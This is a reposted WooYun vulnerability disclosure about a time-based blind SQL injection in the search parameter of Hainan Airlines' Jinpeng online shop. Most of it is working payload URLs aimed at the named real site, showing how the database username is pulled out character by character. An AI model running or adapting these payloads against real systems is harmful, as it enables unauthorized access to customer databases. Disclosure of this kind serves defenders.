海南航空某站存在SQL注入

  • 内容
  • 相关

漏洞详情

披露状态:

 

2016-05-05: 细节已通知厂商并且等待厂商处理中
2016-05-05: 厂商已查看当前漏洞内容,细节仅向厂商公开
2016-05-10: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

╮(╯_╰)╭

详细说明:

#0.存在注入的站点 http://www.airshop.com.cn/ 海南航空金鹏商城

#1.漏洞说明 http://www.airshop.com.cn/ffpclub/kingpeng_list.php Get keyword参数存在 MySQL基于时间的注入

这里对延时注入进行简单验证: http://www.airshop.com.cn/ffpclub/kingpeng_list.php?keyword=if%28now%28%29%3dsysdate%28%29%2csleep%280%29%2c0%29/*%27XOR%28if%28now%28%29%3dsysdate%28%29%2csleep%280%29%2c0%29%29OR%27%22XOR%28if%28now%28%29%3dsysdate%28%29%2csleep%280%29%2c0%29%29OR%22*/

sql0.png

 

sql1.png

 

sql.png



#3.漏洞验证(这里跑出数据库的user信息)

http://www.airshop.com.cn/ffpclub/kingpeng_list.php?keyword=if(now()=sysdate(),sleep(0),0)/*'XOR(if(ascii(substring(user(),1,1))=101,sleep(5),0))OR'"XOR(if(now()=sysdate(),sleep(0),0))OR"*/

e



http://www.airshop.com.cn/ffpclub/kingpeng_list.php?keyword=if(now()=sysdate(),sleep(0),0)/*%27XOR(if(ascii(substring(user(),2,1))=99,sleep(2),0))OR%27%22XOR(if(now()=sysdate(),sleep(0),0))OR%22*/

c



http://www.airshop.com.cn/ffpclub/kingpeng_list.php?keyword=if(now()=sysdate(),sleep(0),0)/*%27XOR(if(ascii(substring(user(),3,1))=115,sleep(2),0))OR%27%22XOR(if(now()=sysdate(),sleep(0),0))OR%22*/

s



http://www.airshop.com.cn/ffpclub/kingpeng_list.php?keyword=if(now()=sysdate(),sleep(0),0)/*%27XOR(if(ascii(substring(user(),4,1))=104,sleep(2),0))OR%27%22XOR(if(now()=sysdate(),sleep(0),0))OR%22*/

h



http://www.airshop.com.cn/ffpclub/kingpeng_list.php?keyword=if(now()=sysdate(),sleep(0),0)/*%27XOR(if(ascii(substring(user(),5,1))=111,sleep(2),0))OR%27%22XOR(if(now()=sysdate(),sleep(0),0))OR%22*/

o



http://www.airshop.com.cn/ffpclub/kingpeng_list.php?keyword=if(now()=sysdate(),sleep(0),0)/*%27XOR(if(ascii(substring(user(),6,1))=112,sleep(2),0))OR%27%22XOR(if(now()=sysdate(),sleep(0),0))OR%22*/

p



即数据库用户名为:ecshop(原来是使用的ecshop的程序...)



漏洞证明:

如上

修复方案:

过滤

版权声明:转载请注明来源 V1ct0r@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2016-05-10 22:20

厂商回复:

 

漏洞Rank:15 (WooYun评价)

最新状态:

暂无


本文标签:

版权声明:若无特殊注明,本文皆为《安三》原创,转载请保留文章出处。『鹦鹉搜索』

百度收录:百度已收录『查看详情』

本文链接:海南航空某站存在SQL注入 - https://www.15qq.cn/wooyun/573.html

发表评论

电子邮件地址不会被公开。 必填项已用*标注

允许邮件通知